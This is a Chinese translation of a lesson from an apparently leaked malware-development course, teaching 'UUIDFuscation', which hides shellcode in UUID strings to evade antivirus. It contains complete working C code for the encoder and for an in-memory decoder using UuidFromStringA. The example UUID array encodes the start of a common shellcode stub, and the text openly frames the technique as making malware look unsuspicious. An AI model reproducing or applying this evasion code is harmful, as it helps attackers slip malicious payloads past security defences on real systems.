模块 23 - Payload 混淆 - UUIDFuscation
恶意软件开发课程 - Payload 混淆 - UUIDFuscation
模块 23 - Payload 混淆 - UUIDFuscation#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Payload 混淆 - UUIDFuscation#
简介#
在本模块中,我们将介绍另一种混淆技术,它将 shellcode 转换为通用唯一识别码(Universally Unique IDentifier, UUID)字符串。UUID 是一个 36 字符的字母数字字符串,可用于标识信息。
💡 初学者提示:什么是 UUID?
UUID 就像是数字世界中的”身份证号码”,它是一个全局唯一的标识符:
- 格式示例:
801B18F0-8320-4ADA-BB13-41EA1C886B87- 长度: 36 个字符(32 个十六进制数字 + 4 个连字符)
- 用途: 标识文件、对象、组件、接口等
为什么 UUID 是好的混淆选择?
- Windows 系统中到处都是 UUID(COM 对象、注册表项、GUID 等)
- 大多数程序都会处理 UUID,非常常见
- 看起来完全无害,不会引起防病毒软件的注意
UUID 结构#
UUID 格式由 5 个不同大小的段组成,看起来像这样: 801B18F0-8320-4ADA-BB13-41EA1C886B87。下图展示了 UUID 结构。

将 UUID 转换为 shellcode 比之前的混淆方法稍微复杂一些。例如 FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 不会直接转换为 FC4883E4-F0E8-C000-0000-415141505251,而是变成 E48348FC-E8F0-00C0-0000-415141505251。
注意,前 3 个段使用的是 shellcode 中相同的字节,但顺序是相反的。原因是前三个段使用小端序(little-endian) ↗字节顺序。为了确保完全理解,下面详细分解各个段。
📚 知识扩展:什么是大小端序(Endianness)?
计算机存储多字节数据时,有两种字节排列方式:
小端序(Little-Endian): 低位字节存储在低地址
- 例如: 数字
0x12345678在内存中存储为78 56 34 12- 就像我们写日期 “21/12/2025”(日/月/年,小的在前)
大端序(Big-Endian): 高位字节存储在低地址
- 例如: 数字
0x12345678在内存中存储为12 34 56 78- 就像我们从左到右阅读数字(大的在前)
为什么 UUID 混合使用?
- UUID 标准规定前 3 个字段使用小端序(符合 Windows 的字节序)
- 后 2 个字段使用大端序(网络字节序)
- 这是历史原因,我们需要遵守这个标准才能使用 Windows API
小端序段(Little Endian)#
- 段 1:
FC 48 83 E4在 UUID 字符串中变为E4 83 48 FC - 段 2:
F0 E8在 UUID 字符串中变为E8 F0 - 段 3:
C0 00在 UUID 字符串中变为00 C0
大端序段(Big Endian)#
- 段 4:
00 00在 UUID 字符串中变为00 00(保持不变) - 段 5:
41 51 41 50 52 51在 UUID 字符串中变为41 51 41 50 52 51(保持不变)
💡 初学者提示:字节顺序转换实例
让我们逐步看看
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51如何转换:plaintext原始字节: FC 48 83 E4 | F0 E8 | C0 00 | 00 00 | 41 51 41 50 52 51 \_________/ \___/ \___/ \___/ \_____________/ 段1(4) 段2(2) 段3(2) 段4(2) 段5(6) 小端翻转: E4 83 48 FC | E8 F0 | 00 C0 | 00 00 | 41 51 41 50 52 51 (反序) (反序) (反序) (不变) (不变) UUID格式: E48348FC - E8F0 - 00C0 - 0000 - 415141505251把小端序想象成”倒着读”,大端序想象成”正着读”!
UUIDFuscation 实现#
UUID 地址由 16 个字节组成,因此 shellcode 应该是 16 的倍数。UUIDFuscation 将与 IPv6Fuscation 非常相似,因为两者都要求 shellcode 是 16 字节的倍数。同样,如果 shellcode 不满足该要求,可以使用填充。
// 函数接收 16 个原始字节并以 UUID 字符串格式返回它们
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// 每个 UUID 段是 32 字节
char Output0[32], Output1[32], Output2[32], Output3[32];
// UUID 中有 4 个段 (32 * 4 = 128)
char result[128];
// 从前 4 个字节生成 output0(小端序:反向排列 d,c,b,a)
sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);
// 从第二组 4 个字节生成 output1(小端序:f,e 反向,h,g 反向)
sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);
// 从第三组 4 个字节生成 output2(大端序:i,j,k,l 保持顺序)
sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);
// 从最后 4 个字节生成 output3(大端序:m,n,o,p 保持顺序)
sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);
// 组合 Output0,1,2,3 生成 UUID
sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);
// printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// 生成 shellcode 的 UUID 输出表示
// 函数需要指向 shellcode 缓冲区的指针或基地址以及 shellcode 缓冲区的大小
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// 如果 shellcode 缓冲区为 null 或大小不是 16 的倍数,则退出
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
return FALSE;
}
printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));
// 我们将一次读取一个 shellcode 字节,当总数为 16 时,开始生成 UUID 字符串
// 变量 'c' 用于存储读取的字节数。默认情况下,从 16 开始。
int c = 16, counter = 0;
char* UUID = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// 跟踪读取的字节数,当它们达到 16 时,我们进入此 if 语句以开始生成 UUID 字符串
if (c == 16) {
counter++;
// 从 16 个字节生成 UUID 字符串,这些字节从 i 开始到 [i + 15]
UUID = GenerateUUid(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// 打印最后一个 UUID 字符串
printf("\"%s\"", UUID);
break;
}
else {
// 打印 UUID 字符串
printf("\"%s\", ", UUID);
}
c = 1;
// 可选: 美化控制台上的输出
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}c💡 初学者提示:代码关键点解析
注意
GenerateUUid函数中参数的顺序:
- Output0:
d, c, b, a- 前 4 字节完全反转(小端序)- Output1:
f, e和h, g- 分别反转 2 字节对(小端序)- Output2:
i, j, k, l- 保持原始顺序(大端序)- Output3:
m, n, o, p- 保持原始顺序(大端序)这个参数重排序看起来复杂,但这就是 UUID 标准的要求!好消息是,去混淆时 Windows API 会自动处理这些转换。
UUID 去混淆实现#
尽管不同的段有不同的字节序,但这不会影响去混淆过程,因为 UuidFromStringA ↗ WinAPI 会处理这一切。
// 定义 UuidFromStringA 函数指针类型
typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
RPC_CSTR StringUuid, // UUID 字符串
UUID* Uuid // 输出的二进制 UUID
);
BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
RPC_STATUS STATUS = NULL;
// 从 Rpcrt4.dll 获取 UuidFromStringA 地址
fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
if (pUuidFromStringA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 获取 shellcode 的真实大小,即 UUID 字符串数量 * 16
sBuffSize = NmbrOfElements * 16;
// 分配将保存去混淆 shellcode 的内存
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 将 TmpBuffer 设置为等于 pBuffer
TmpBuffer = pBuffer;
// 循环遍历保存在 UuidArray 中的所有 UUID 字符串
for (int i = 0; i < NmbrOfElements; i++) {
// 一次去混淆一个 UUID 字符串
// UuidArray[i] 是数组 UuidArray 中的单个 UUID 字符串
if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
// 如果失败
printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
return FALSE;
}
// 每次向 TmpBuffer 写入 16 个字节
// 因此 Tmpbuffer 将递增 16 以存储即将到来的 16 个字节
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}c💡 初学者提示:去混淆的魔法
UuidFromStringA函数是微软提供的官方 API,它会:
- 自动处理字节序: 你不需要手动反转字节,API 知道哪些段是小端序
- 标准转换: 把 UUID 字符串转换为 16 字节的二进制数据
- 容错性: 可以处理大写、小写、不同的分隔符格式
这就是为什么混淆时需要严格遵守 UUID 格式——这样才能使用 Windows 的官方 API 进行去混淆,保持隐蔽性!
📚 知识扩展:为什么从 Rpcrt4.dll 加载?
UuidFromStringA函数位于Rpcrt4.dll(RPC Runtime Library)中:
- RPC: Remote Procedure Call,远程过程调用
- 用途: Windows 组件之间的通信大量使用 UUID 来标识接口
- 常见性: 几乎所有 Windows 程序都会加载这个 DLL
- 隐蔽性: 调用这个 DLL 中的函数完全正常,不会引起怀疑
实际上,COM(Component Object Model)编程、注册表操作、许多系统服务都依赖这个库,所以你的恶意软件使用它完全不会显得可疑!
下图显示去混淆过程成功运行。

🎯 总结#
在本模块中,我们学习了:
- UUID 结构: 36 字符,5 个段,混合使用大小端序
- 字节序概念:
- 小端序(Little-Endian): 低位字节在前,前 3 段使用
- 大端序(Big-Endian): 高位字节在前,后 2 段使用
- 混淆实现: 每 16 字节生成一个 UUID,需要特殊的字节重排
- 去混淆实现: 使用
UuidFromStringAAPI 自动处理字节序转换
💡 关键要点
- UUID 在 Windows 系统中无处不在(COM、注册表、GUID 等)
- 混淆时必须严格遵守 UUID 格式和字节序规则
- 去混淆使用官方 API,无需手动处理字节序
- 隐蔽性极佳,因为处理 UUID 是 Windows 程序的常见操作
📚 混淆技术完整对比
| 混淆方法 | 字节/元素 | 字节序 | API 来源 | 隐蔽性 | 代码复杂度 |
|---|---|---|---|---|---|
| IPv4Fuscation | 4 | 无 | ntdll.dll | ⭐⭐⭐⭐⭐ | 简单 |
| IPv6Fuscation | 16 | 无 | ntdll.dll | ⭐⭐⭐ | 简单 |
| MACFuscation | 6 | 无 | ntdll.dll | ⭐⭐⭐⭐ | 简单 |
| UUIDFuscation | 16 | 混合 | Rpcrt4.dll | ⭐⭐⭐⭐⭐ | 中等 |
🎯 实战建议
选择 UUIDFuscation 的场景:
- 需要极高隐蔽性(UUID 在 Windows 中极为常见)
- 目标环境有大量 COM 组件或注册表操作
- 想要较小的数组大小(相比 IPv4)
注意事项:
- 实现稍微复杂,需要正确处理字节序
- 必须确保 Rpcrt4.dll 可用(通常都有)
- 可以结合加密使用,先加密再混淆
📚 实际应用案例
在真实的恶意软件开发中,可以这样使用:
c// 1. 混淆阶段(生成器) char* UuidArray[18] = { "E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", // ... 更多 UUID }; // 2. 去混淆阶段(实际恶意软件中) PBYTE shellcode = NULL; SIZE_T size = 0; UuidDeobfuscation(UuidArray, 18, &shellcode, &size); // 现在可以执行 shellcode 了
📚 下一步学习
恭喜!你已经学完了所有主要的 Payload 混淆技术。下一个模块将介绍 HellShell 工具,这是一个自动化工具,可以帮助你快速应用这些混淆技术,包括自动填充、多重混淆等高级功能!